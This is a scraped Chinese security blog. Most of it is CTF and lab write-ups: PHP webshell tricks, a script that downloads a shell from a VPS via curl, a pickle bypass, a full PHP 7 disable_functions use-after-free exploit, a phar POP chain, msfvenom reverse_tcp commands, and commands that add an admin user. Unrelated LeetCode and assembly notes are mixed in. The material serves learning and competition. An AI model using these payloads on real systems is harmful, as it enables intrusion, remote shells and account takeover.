?>

命令执行

param=`$_GET[1]`;&1=bash

或者

param=exec($_GET[1]);

远程文件包含

有的同学提到了远程文件，但正常文件包含include $_GET[1];，这个刚好17个字符，超了一位。

不过，其实include$_GET[1];也是可以运行的，中间的空格可以不要。

这也是一个思路，但限制就是需要开启远程文件包含，但这个选项默认是关闭的。

本地文件包含

param=$_GET[a](N,a,8);&a=file_put_contents

file_put_contents的第一个参数是文件名，我传入N。PHP会认为N是一个常量，但我之前并没有定义这个常量，于是PHP就会把它转换成字符串’N’；第二个参数是要写入的数据，a也被转换成字符串’a’；第三个参数是flag，当flag=8的时候内容会追加在文件末尾，而不是覆盖。

除了file_put_contents，error_log函数效果也类似。

但是file_put_contents第二个参数如果是符号，就会导致PHP出错，比如param=$_GET[a](N,<,8);&a=file_put_contents。但如果要写webshell的话，“<”等符号又是必不可少的。

写shell的方法

# 每次写入一个字符：PD9waHAgZXZhbCgkX1BPU1RbOV0pOw
# 最后包含
param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N

本地日志包含

param=include$_GET[a];&a=/home/u244201241/.logs/php_error.log

标准答案，利用变长参数执行

POST /test.php?1[]=test&1[]=var_dump($_SERVER);&2=assert HTTP/1.1
Host: localhost:8081
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

param=usort(...$_GET);

参考

一个坑

想请教下，为什么用标准答案的方法时，get参数必须用数字才能正常执行，换成比如？a[]=test&a[]=phpinfo();&b=assert时就会失败，不知可否解答下

只有数字索引数组才能作为变长参数数组。

常用的网站

Tue, 10 Mar 2020 00:00:00 GMT

大师傅

http://szfszf.top/

JWT

https://jwt.io/

杂项

bypass disabled function

https://github.com/l3m0n/Bypass_Disable_functions_Shell

战疫分享赛wp

Tue, 10 Mar 2020 00:00:00 GMT

hackme

www.zip源码，审计之后看到两个很有意思的操作

根目录下的 init.php文件中

<?php
//初始化整个页面
error_reporting(0);
//lib.php包括一些常见的函数
include 'lib.php';
session_save_path('session');
ini_set('session.serialize_handler','php_serialize');
session_start();

但是在 core 目录下的 init.php 中

<?php
//初始化整个页面
#error_reporting(0);
//lib.php包括一些常见的函数
include '../lib.php';
session_save_path('../session');
ini_set('session.serialize_handler', 'php');
session_start();

用了两种不同的session处理方式

所以提交一个签名为

|O:4:"info":1:{s:5:"admin";i:1;}

这样再访问 profile.php 的时候

<?php
error_reporting(0);
session_save_path('session');
include 'lib.php';
ini_set('session.serialize_handler', 'php');
session_start();

class info
{
    public $admin;
    public $sign;

    public function __construct()
    {
        $this->admin = $_SESSION['admin'];
        $this->sign = $_SESSION['sign'];

    }

    public function __destruct()
    {
        echo $this->sign;
        if ($this->admin === 1) {
            redirect('./core/index.php');
        }
    }
}

$a = new info();
?>

就会触发反序列化，然后进入 core/index.php 中

core/index.php 的源代码

<?php

require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
    #hint : core/clear.php
    $sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR']);
    echo $sandbox;
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_POST['url'])) {
        $url = $_POST['url'];
        if (filter_var($url, FILTER_VALIDATE_URL)) {
            if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) {
                echo "you are hacker";
            } else {
                $res = parse_url($url);
                if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
                    $code = file_get_contents($url);
                    if (strlen($code) <= 4) {
                        @exec($code);
                    } else {
                        echo "try again";
                    }
                }
            }
        } else {
            echo "invalid url";
        }
    } else {
        highlight_file(__FILE__);
    }
} else {
    die('只有管理员才能看到我哟');
}

不准用 data 协议，并且解析到的host必须是 127.0.0.1 初看还挺像2019年的byteCTF，但是这里用到的是 compress.zlib 协议(学习了)

compress.zlib://data:@127.0.0.1/baidu.com?,ls

当然也可以用base64的方式

compress.zlib://data:@127.0.0.1/plain;base64,

之后需要绕过长度来执行命令，脚本就用队友的好了，不能弹shell，只能从vps上下载shell到靶机上


from time import sleep
from urllib import parse
from requests import session



s = session()
url = "http://121.36.222.22:88/login.php"
s.post(url, data={'name':'pxypxy'})
url1 = "http://121.36.222.22:88/?page=upload"
s.post(url1, data={'sign':'woc|O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:4:"ssss";}'})
url3 = "http://121.36.222.22:88/core/index.php"
s.get(url3)

ip = 'x.x.x.x'
ip = '0x' + ''.join([str(hex(int(i))[2:].zfill(2))for i in ip.split('.')])
pos0 = 'y'
pos1 = 'd'
pos2 = 's'

payload = [
    '>dir',
    '>%s\>' % pos0,
    '>%st-' % pos1,
    '>sl',
    '*>v',
    '>rev',
    '*v>%s' % pos2,
    '>p',
    '>ph\\',
    '>y.\\',
    '>\>\\',
    '>%s\\' % ip[8:10],
    '>%s\\' % ip[6:8],
    '>%s\\' % ip[4:6],
    '>%s\\' % ip[2:4],
    '>%s\\' % ip[0:2],
    '>\ \\',
    '>rl\\',
    '>cu\\',
    'sh ' + pos2,
    'sh ' + pos0,
]

for i in payload:
    data = {'url':'compress.zlib://data:@127.0.0.1/plain;base64,'+base64.b64encode(i.encode()).decode()}
    r = s.post(url3, data=data)
    print(r.text)
    print(data['url'])
    sleep(0.1)

webtmp

分析

考点是pickle反序列化，过滤掉了 R 指令码，并且重写了 find_class：

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__':
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

这就禁止引用除了 __main__ 之外的其他module，但是如果通过GLOBAL指令引入的变量，可以看作是原变量的引用。我们在栈上修改它的值，会导致原变量也被修改

于是可以先引入 __main__.secret 这个module，然后把一个 dict 压入栈，内容是 {'name': 'xx', 'category': 'yyy'},之后执行 build指令，改写 __main__.secret.name 和 __main__.secret.category,此时 secret.name和 secret.category 已经变成我们想要的内容

之后再压入一个正常的 Animal对象，name和category分别是 xx和yyy最后构造的pickle数据如下

b"\x80\x03c__main__\nsecret\n}(Vname\nVxx\nVcategory\nVyyy\nub0c__main__\nAnimal\n)\x81}(S'name'\nS'xx'\nS'category'\nS'yyy'\nub."

编码为base64提交即可

gANjX19tYWluX18Kc2VjcmV0Cn0oVm5hbWUKVnh4ClZjYXRlZ29yeQpWeXl5CnViMGNfX21haW5fXwpBbmltYWwKKYF9KFMnbmFtZScKUyd4eCcKUydjYXRlZ29yeScKUyd5eXknCnViLg==

php-uaf

脚本

rddshell
  
<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable 
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

pwn('/readflag');

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(str_repeat('A', 79));

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}

上传到tmp目录就行了

webct

www.zip 源码泄露(现在好多web题都喜欢这么搞了)

这题主要是对伪造mysql的考察，但是有一个坑点

我们可以设置option为8，然后就启用MYSQL_OPT_LOCAL_INFILE了。

之后构造一个POP链就行了，POP链不是很长

<?php

class Listfile
{
    public $file;

    function __construct()
    {
        $this->file = ";/readflag";
    }
}

class Fileupload
{
    public $file;

    function __construct()
    {
        $this->file = new Listfile();
    }
}

$payload = new Fileupload();

$exp = new Phar('yds.phar');
$exp -> startBuffering();
$exp->setStub('<?php __HALT_COMPILER(); ? >');
$exp -> addFromString('test.txt','test');
$exp -> setMetadata($payload);
$exp -> stopBuffering();

fmkq

这题估计是很多队伍都比较头疼的了，3月7日那天折腾了一下午直到晚上才有师傅做出来

源代码

<?php
error_reporting(0);
if(isset($_GET['head'])&&isset($_GET['url'])){
    $begin = "The number you want: ";
    extract($_GET);
    if($head == ''){
        die('Where is your head?');
    }
    if(preg_match('/[A-Za-z0-9]/i',$head)){
        die('Head can\'t be like this!');
    }
    if(preg_match('/log/i',$url)){
        die('No No No');
    }
    if(preg_match('/gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp:/i',$url)){
        die('Don\'t use strange protocol!');
    }
    $funcname = $head.'curl_init';
    $ch = $funcname();
    if($ch){
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        curl_close($ch);
    }
    else{
        $output = 'rua';
    }
    echo sprintf($begin.'%d',$output);
}
else{
    show_source(__FILE__);
}

几个小trick

$head = \ 这样拼接之后就是根命名空间
协议基本都被过滤干净了就只能用http协议
$begin= %s%
过滤了 log，我估计是出题人不想让你去读日志(因为后面发现可以读除了flag之外的任意文件)

之后就扫内网，看到开放了8080端口

这里的坑点就比较多了，首先需要知道vipcode

?head=\&url=http://127.0.0.1:8080/read/file={file.vip.__dict__}%26vipcode=0&begin=%s%

然后读文件

/?head=\&url=http://127.0.0.1:8080/read/file=/app/base/vip.py%26vipcode=m3O5PGEBMnbX0N8ugWlIoijtFaS9KsqVAQdvZyT1cheCxpwf&begin=%s%

vip.py

Welcome,dear vip! Here are what you want:
The file you read is:
/app/base/vip.py

The content is:



vipcode = ''

class vip:
    def __init__(self):
        global vipcode
        if vipcode == '':
            vipcode = ''.join(random.sample(string.ascii_letters+string.digits, 48))
            self.truevipcode = vipcode
        else:
            self.truevipcode = vipcode

    def GetCode(self):
        return self.truevipcode

Other files under the same folder:
__pycache__ __init__.py vip.py readfile.py%d

readfile.py

from .vip import vip



class File:
    def __init__(self,file):
        self.file = file

    def __str__(self):
        return self.file

    def GetName(self):
        return self.file

class readfile():

    def __str__(self):
        filename = self.GetFileName()
        if '..' in filename or 'proc' in filename:
            return "quanbumuda"
        else:
            try:
                file = open("/tmp/" + filename, 'r')
                content = file.read()
                file.close()
                return content
            except:
                return "error"

    def __init__(self, data):
        if re.match(r'file=.*?&vipcode=.*?',data) != None:
            data = data.split('&')
            data = {
                data[0].split('=')[0]: data[0].split('=')[1],
                data[1].split('=')[0]: data[1].split('=')[1]
            }
            if 'file' in data.keys():
                self.file = File(data['file'])

            if 'vipcode' in data.keys():
                self.vipcode = data['vipcode']
            self.vip = vip()

    def test(self):
        if 'file' not in dir(self) or 'vipcode' not in dir(self) or 'vip' not in dir(self):
            return False
        else:
            return True

    def isvip(self):
        if self.vipcode == self.vip.GetCode():
            return True
        else:
            return False

    def GetFileName(self):
        return self.file.GetName()

current_folder_file = []

class vipreadfile():
    def __init__(self,readfile):
        self.filename = readfile.GetFileName()
        self.path = os.path.dirname(os.path.abspath(self.filename))
        self.file = File(os.path.basename(os.path.abspath(self.filename)))
        global current_folder_file
        try:
            current_folder_file = os.listdir(self.path)
        except:
            current_folder_file = current_folder_file

    def __str__(self):
        if 'fl4g' in self.path:
            return 'nonono,this folder is a secret!!!'
        else:
            output = '''Welcome,dear vip! Here are what you want:\r\nThe file you read is:\r\n'''
            filepath = (self.path + '/{vipfile}').format(vipfile=self.file)
            output += filepath
            output += '\r\n\r\nThe content is:\r\n'
            try:
                f = open(filepath,'r')
                content = f.read()
                f.close()
            except:
                content = 'can\'t read'
            output += content
            output += '\r\n\r\nOther files under the same folder:\r\n'
            output += ' '.join(current_folder_file)
            return output

过滤掉了 fl4g

看到 current_folder_file 是 global 的

所以读一次根目录的文件，让current_folder_file 里面有 fl4g

/?head=\&url=http://localhost:8080/read/file=/{vipfile.__class__.GetName.__globals__[current_folder_file][21]}/flag%26vipcode=m3O5PGEBMnbX0N8ugWlIoijtFaS9KsqVAQdvZyT1cheCxpwf&begin=%s%

或者这个

http://121.37.179.47:1101/?head=\&begin=%1$s&url=http://127.0.0.1:8080/read/file={vipfile.__class__.__init__.__globals__[__name__][9]}l4g_1s_h3re_u_wi11_rua/flag%26vipcode=kWSRgrZO9VjAJzaHsIwqXEtfF5u6GxM0ov74le18hcNnUpd3

sqlcheckin

false注入

username='%'1&password='%'1

即可

nweb

happyvacation

每天一道leetcode-二叉树的直径

Tue, 10 Mar 2020 00:00:00 GMT

题目

给定一棵二叉树，你需要计算它的直径长度。一棵二叉树的直径长度是任意两个结点路径长度中的最大值。这条路径可能穿过根结点。

示例 :
给定二叉树

返回 3, 它的长度是路径 [4,2,1,3] 或者 [5,2,1,3]。

思路

找到左子树的节点个数，右子树的节点个数，剩下的就好做了

我写了的lj代码

package March;

/**
 * @description: 二叉树的直径
 * @author: Pxy
 * @create: 2020-03-10 20:02
 **/

/**
 * [4,-7,-3,null,null,-9,-3,9,-7,-4,null,6,null,-6,-6,null,null,0,6,5,null,9,null,null,-1,-4,null,null,null,-2]
 * 上面这个结果过不了
 */
public class diameterOfBinaryTree {
    class TreeNode{
        int val;
        TreeNode left;
        TreeNode right;
        TreeNode(int x){
            val = x;}
    }
    public int diameterOfBinaryTree(TreeNode root) {
        if (root == null) {
            return 0;
        }
        if (root.right == null) {
            return helper(root.left);
        } else if (root.left == null) {
            return helper(root.right);
        } else {
            int leftLength = helper(root.left);
            int rightLength = helper(root.right);
            return leftLength + rightLength;
        }

    }

    public static int helper(TreeNode root) {
        if (root != null) {
            return Math.max(helper(root.left), helper(root.right)) + 1;
        } else {
            return 0;
        }
    }
}

但是leetcode提交的时候给了一个奇葩的测试样例

[4,-7,-3,null,null,-9,-3,9,-7,-4,null,6,null,-6,-6,null,null,0,6,5,null,9,null,null,-1,-4,null,null,null,-2]

这。。

算了我暂时也看不出哪里有问题

官方

class Solution {
    int ans;
    public int diameterOfBinaryTree(TreeNode root) {
        ans = 1;
        depth(root);
        return ans - 1;
    }
    public int depth(TreeNode node) {
        if (node == null) return 0; // 访问到空节点了，返回0
        int L = depth(node.left); // 左儿子为根的子树的深度
        int R = depth(node.right); // 右儿子为根的子树的深度
        ans = Math.max(ans, L+R+1); // 计算d_node即L+R+1 并更新ans
        return Math.max(L, R) + 1; // 返回该节点为根的子树的深度
    }
}

思路也是比较简单的，不过这个用法很神奇，depth 函数有返回值，这个返回值只在递归的时候用到

java写OJ的时候如果要用全局变量，只需要在外面写一个就行了。

参考

https://leetcode-cn.com/problems/diameter-of-binary-tree/solution/liang-chong-si-lu-shi-yong-quan-ju-bian-liang-yu-b/

汇编从入门到入土三

Tue, 10 Mar 2020 00:00:00 GMT

从汇编程序开始

assume cs:codesg

codesg segment
	mov ax,0123H
	mov bx,0456H
	add ax,bx
	add ax,ax
	
	mov ax,4c00H
	int 21H
codesg ends
end

伪指令

段名 segment
段名 ends

end 和 ends 不一样， end标记整个程序的结束
assume 将有特定用途的段和相关的段寄存器关联起来

程序返回

mov ax,4c00H
int 21H

编写代码，使用 MASM.exe 编译，然后使用 LINK.exe 进行链接

运行当然是没有结果的，我们需要使用 debug 调试

可执行文件的加载过程

程序加载的时候，找到一个段地址 SA:0000,程序从 SA+10H:0000 处开始运行，SA 存放在 ds寄存器中

刚加载进内存中时，

此时看到 ds 寄存器的内容为 075AH ,所以程序的物理地址就是 ds+10h ,正好符合
在int21 时需要使用 p命令执行

实验3 编译链接跟踪

assume cs:codesg
codesg segment
	mov ax,2000H  ; AX=2000H
	mov ss,ax     ; SS=2000H
	mov sp,0      ; SP=0
	add sp,10     ; SP=10
	pop ax        ; SP=000CH, AX=076AH
	pop bx        ; SP=000EH, BX=7206H
	push ax       ; SP=000CH
	push bx       ; SP=000AH 
	pop ax        ; AX=7c06H
	pop bx        ; BX=076AH
	mov ax,4c00H
	int 21H
codesg ends
end

PSP 的头两个字节是CD20,用debug加载，查看PSP的内容

汇编从入门到入土五

Tue, 10 Mar 2020 00:00:00 GMT

课后实验

实验一

assume cs:code,ds:data,ss:stack

data segment
	dw 0123h,0456h,0789h,0abch,0defh,0fedh,0cbah,0987h
data ends

stack segment
	dw 0,0,0,0,0,0,0,0
stack ends

code segment

start:
	mov ax,stack
	mov ss,ax
	mov sp,16
	
	mov ax,data
	mov ds,ax
	
	push ds:[0]
	push ds:[2]
	
	pop ds:[2]
	pop ds:[0]
	
	mov ax,4c00h
	int 21h
	
code ends
end start

程序返回前,data段中的数据如下：

程序返回前，cs = 076C, ss=076B,ds=076A
code段地址如果为X，data段地址为 X-32, stack段地址为X-16

实验二

assume cs:code,ds:data,ss:stack

data segment
	dw 0123h,0456h
data ends

stack segment
	dw 0,0
stack ends

code segment

start:
	mov ax,stack
	mov ss,ax
	mov sp,16
	
	mov ax,data
	mov ds,ax
	
	push ds:[0]
	push ds:[2]
	
	pop ds:[2]
	pop ds:[0]
	
	mov ax,4c00h
	int 21h
code ends
end start

执行程序，返回前，data段中的数据为多少

程序返回前，cs=076C,ss=076B,ds=076A
code段地址为X，data段地址为 X-32, stack段地址为 X- 16

实验五

assume cs:code

a segment
	db 1,2,3,4,5,6,7,8
a ends

b segment
	db 1,2,3,4,5,6,7,8
b ends

c segment
	db 0,0,0,0,0,0,0,0
c ends

code segment

start:
	mov ax,a
	mov ds,ax
	
	mov ax,b
	mov ss,ax
	
	mov ax,c
	mov es,ax
	
	mov cx,8
	mov bx,0
	mov dl,0
s:
	add dl,ds:[bx]
	add dl,ss:[bx]
	mov es:[bx], dl
	mov dl,0
	inc bx
	loop s
	
	mov ax,4c00h
	int 21h
code ends
end start

将a和b中的数据求和，放到c里面

执行完成后放在 es 中

实验六

assume cs:code

a segment 	
	dw 1,2,3,4,5,6,7,8,9,0ah,0bh,0ch,0dh,0eh,0fh,0ffh
a ends

b segment
	dw 0,0,0,0,0,0,0,0
b ends
code segment

start:
	mov ax,b
	mov ss,ax
	mov sp,10h
	
	mov ax,a
	mov ds,ax
	
	mov cx,8
	mov bx,0
s:
	mov dx,ds:[bx]
	push dx
	inc bx
	inc bx
	loop s
	mov ax,4c00h
	int 21h
code ends

end start

将a中的前8个字型数据逆序压入到b中，(注意字型数据是小端存储的)

汇编从入门到入土四

Tue, 10 Mar 2020 00:00:00 GMT

BX 寄存器在内存寻址的作用

mov ax, 2000H
mov ds,ax
mov bx,1000H
mov ax,[bx]  ; AX=00BEH
inc bx
inc bx
mov [bx],ax  ; BX=1002
inc bx
inc bx
mov [bx],ax  ; BX=1004
inc bx
mov [bx],al  ; BX=1005
inc bx       
mov [bx],al  ; BX=1006

最后得到的内存分布

loop指令的使用

assume cs:code
code segment
	mov ax,2
	mov cx,11
s:  add ax,ax
	loop s

cx 作为循环的计数器

计算乘法，123*236

assume cs:code
code segment
	mov ax,0
	mov cx,236
s:  add ax,123
	loop s
	mov ax,4c00h
	int 21h
code ends
end

注意：在汇编程序中，数据不能以字母开头

g 指令可以直接执行到指定的位置

p 会自动重复直到 cx == 0 为止

Debug和masm对指令的不同处理

在汇编源程序中，我们需要这么写

mov ax, 2000h
mov ds, ax
mov al, ds:[0]

如果没有指定段寄存器

mov al,[0]

则 masm 理解成

mov al, 0

当然如果是寄存器的话

mov al, [bx]

则段寄存器默认存在是 ds

问题

计算 ffff:0 ~ ffff:b 单元中的数据的和，结果存储在 dx 中

由于每一个数据都是字节的，不能直接加到16位的寄存器dx中，那么我们是不是可以用dh和dl呢，但是这样可能导致进位丢失

所以我们需要将8位的数据赋值到16位寄存器然后再与dx相加

assume cs:code
code segment
    mov ax,0ffffh ; 注意数字不能以字母开头
    mov ds,ax
    mov bx,0 ;首先让 ds:bx 指向 ffff:0

    mov dx,0
    mov cx,12 ;进行12次循环

s:  mov al,[bx]
    mov ah,0  ;不要忘记给ah置0！
    add dx,ax
    inc bx
    loop s

    mov ax,4c00h
    int 21h
code ends
end

如何使用内存空间

assume cs:code
code segment
	mov ax,0
	mov ds,ax
	mov ds:[26h], ax
	mov ax,4c00h
	int 21h
code ends
end

程序出问题了，无法继续运行

DOS方式下，一般情况，0:200 ~ 0:2ff 空间中没有系统或其他程序的数据或代码

问题

将内存 ffff:0 ~ ffff:b 单元中的数据复制到 0:200 ~ 0:20b 单元中

可以将两个段的地址保存到两个寄存器中

assume cs:code
code segment
	mov ax,0ffffh
	mov ds,ax 
	
	mov ax,0020h
	mov es,ax
	
	mov bx,0
	
	mov cx,12

s:  mov dl,[bx]
	mov es:[bx],dl
	inc bx
	loop s

	mov ax,4c00h
	int 21h
code ends
end

实验

编程，向内存 0:200 ~0:23F 依次传送数据 0 ~63(3FH)

代码

assume cs:code

code segment
	mov ax,0
	mov ds,ax
	mov bx,200h
	mov cx,40h
	mov ax,0
s:  mov [bx],ax
	inc ax
	inc bx
	loop s
	mov ax, 4c00h
	int 21h
code ends

end

运行结果

编程，向内存 0:200~0:23F 一次传递数据 0~63(3FH),程序中只能使用9条指令
如果只能用9条指令，那么可以这么改

assume cs:code
code segment
	mov ax,0
	mov ds,ax
	mov bx,0
	mov cx,40h
s:  mov [bx+200h],bx ;去掉了 ax，只用bx一个寄存器就可以做到
	inc bx
	loop s
	mov ax, 4c00h
	int 21h
code ends
end

运行结果

assume cs:code
code segment
	mov ax,cs
	mov ds,ax
	mov ax,0020h
	mov es,ax
	mov bx,0
	mov cx,20h
s:  mov al,[bx]
	mov es:[bx],al
	inc bx
	loop s
	mov ax,4c00h
	int 21h
code ends
end

于是可以推测出 CX=17h

完整代码如下

assume cs:code
code segment	
	mov ax,cs
	mov ds,ax
	mov ax,0020h
	mov es,ax
	mov bx,0
	mov cx,17h
s:  mov al,[bx]
	mov es:[bx],al
	inc bx
	loop s
	mov ax,4c00h
	int 21h
code ends
end

可以看到成功复制了

漏洞挖掘实验

Tue, 10 Mar 2020 00:00:00 GMT

实验拓扑如下

任务一寻找漏洞主机

扫描存活主机(虽然知道了但还是扫一下)

注意本机ip是192.168.1.2

-F 选项快速扫描一下其他主机

既然是ftp，那么就锁定192.168.1.3

提示了搜索vsftpd (靶机上搜索太慢了，我在自己机器上搜索的)

然后使用这个exploit去打就行了

可以看到进去就是root权限hhhh

然后还要搜索 1.key 这个文件

find  / -name 1.key

读一下就好了

任务二使用nikto、crunch和burpsuite进行网站渗透和控制

此时的目标转向了 192.168.1.4 (192.168.1.3都拿到root了)

打开网站是 Cms made Simple 简称cms cms

后台地址 /admin/login.php

先设置一个代理

然后抓个包

由于密码是 admin 加上三位数字，如果想用 crunch 生成也行，直接用burp也行

爆破成功

进入到网站后台

任务三获取webshell权限并拿到目标及开放的远程桌面端口号

漏洞点在这

Run一下

好那我们这里为了避免网页卡顿。用msf生成一个shell.php

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 -f raw -o shell.txt

然后复制到框框里运行一下

同时msf进行监听

成功弹到shell。之后再使用msf生成shell.exe

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 -f exe -o shell.exe

上传，重新弹一个shell

ok这时候就能获得真正的meterpreter了

查看一下监听端口

随便猜一个吧2333

任务四向目标主机添加用户并控制

这个步骤和上一个实验比较相似，就不用细说了

net user hacker Beijing123 /add
net localgroup administrators hacker /add

远程登陆之后，给文件添加一个用户即可

最后

绕过CSP

Tue, 10 Mar 2020 00:00:00 GMT

基本概念

`default-src`	`'self' cdn.example.com`	定义资源默认加载策略
`script-src`	`'self' js.example.com`	定义 JS 加载策略
`style-src`	`'self' css.example.com`	定义 CSS 加载策略
`img-src`	`'self' img.example.com`	定义图片加载策略
`connect-src`	`'self'`	定义 Ajax、WebSocket 等加载策略
`font-src`	`font.example.com`	定义 Font 加载策略
`object-src`	`'self'`	定义、、等引用资源加载策略
`media-src`	`media.example.com`	定义
`frame-src`	`'self'`	定义 Frame 加载策略
`sandbox`	`allow-forms allow-scripts`	对页面的操作应用限制，包括阻止弹出窗口，阻止插件和脚本的执行以及强制执行同源策略。可以不设置sanbox的值使得所有限制启用，或者手动启用以下属性 : `allow-forms` `allow-same-origin` `allow-scripts` `allow-popups`, `allow-modals`, `allow-orientation-lock`, `allow-pointer-lock`, `allow-presentation`, `allow-popups-to-escape-sandbox`, and `allow-top-navigation`
`report-uri`	`/some-report-uri`	指定浏览器报告策略错误的URL，可以在HTTP头中添加`-Report-Only` 来指示浏览器只报告不阻断
`child-src`	`'self'`	child-src指令管理了套嵌浏览的部分（类似于iframe、frame标签）
`form-action`	`'self'`	定义了form表单中action的范围
`frame-ancestors`	`'none'`	定义`<frame>` `<iframe>` `<object>` `<embed>` `<applet>`加载策略. 直接设置`‘none’` 几乎等于设置了`X-Frame-Options: DENY`
`plugin-types`	`application/pdf`	设置有效的MIME类型

CSP绕过

使用CDN绕过

一般来说，前端会用到许多的前端框架和库，可能会引用其他CDN上的JS框架，如果CDN上存在一些低版本的框架，就可能存在绕过CSP的风险

案例中hackmd中CSP引用了cloudflare.com CDN服务，于是orange师傅采用了低版本的angular js模板注入来绕过CSP

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://cdnjs.cloudflare.com;">
<!-- foo="-->
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</script>
<div ng-app>
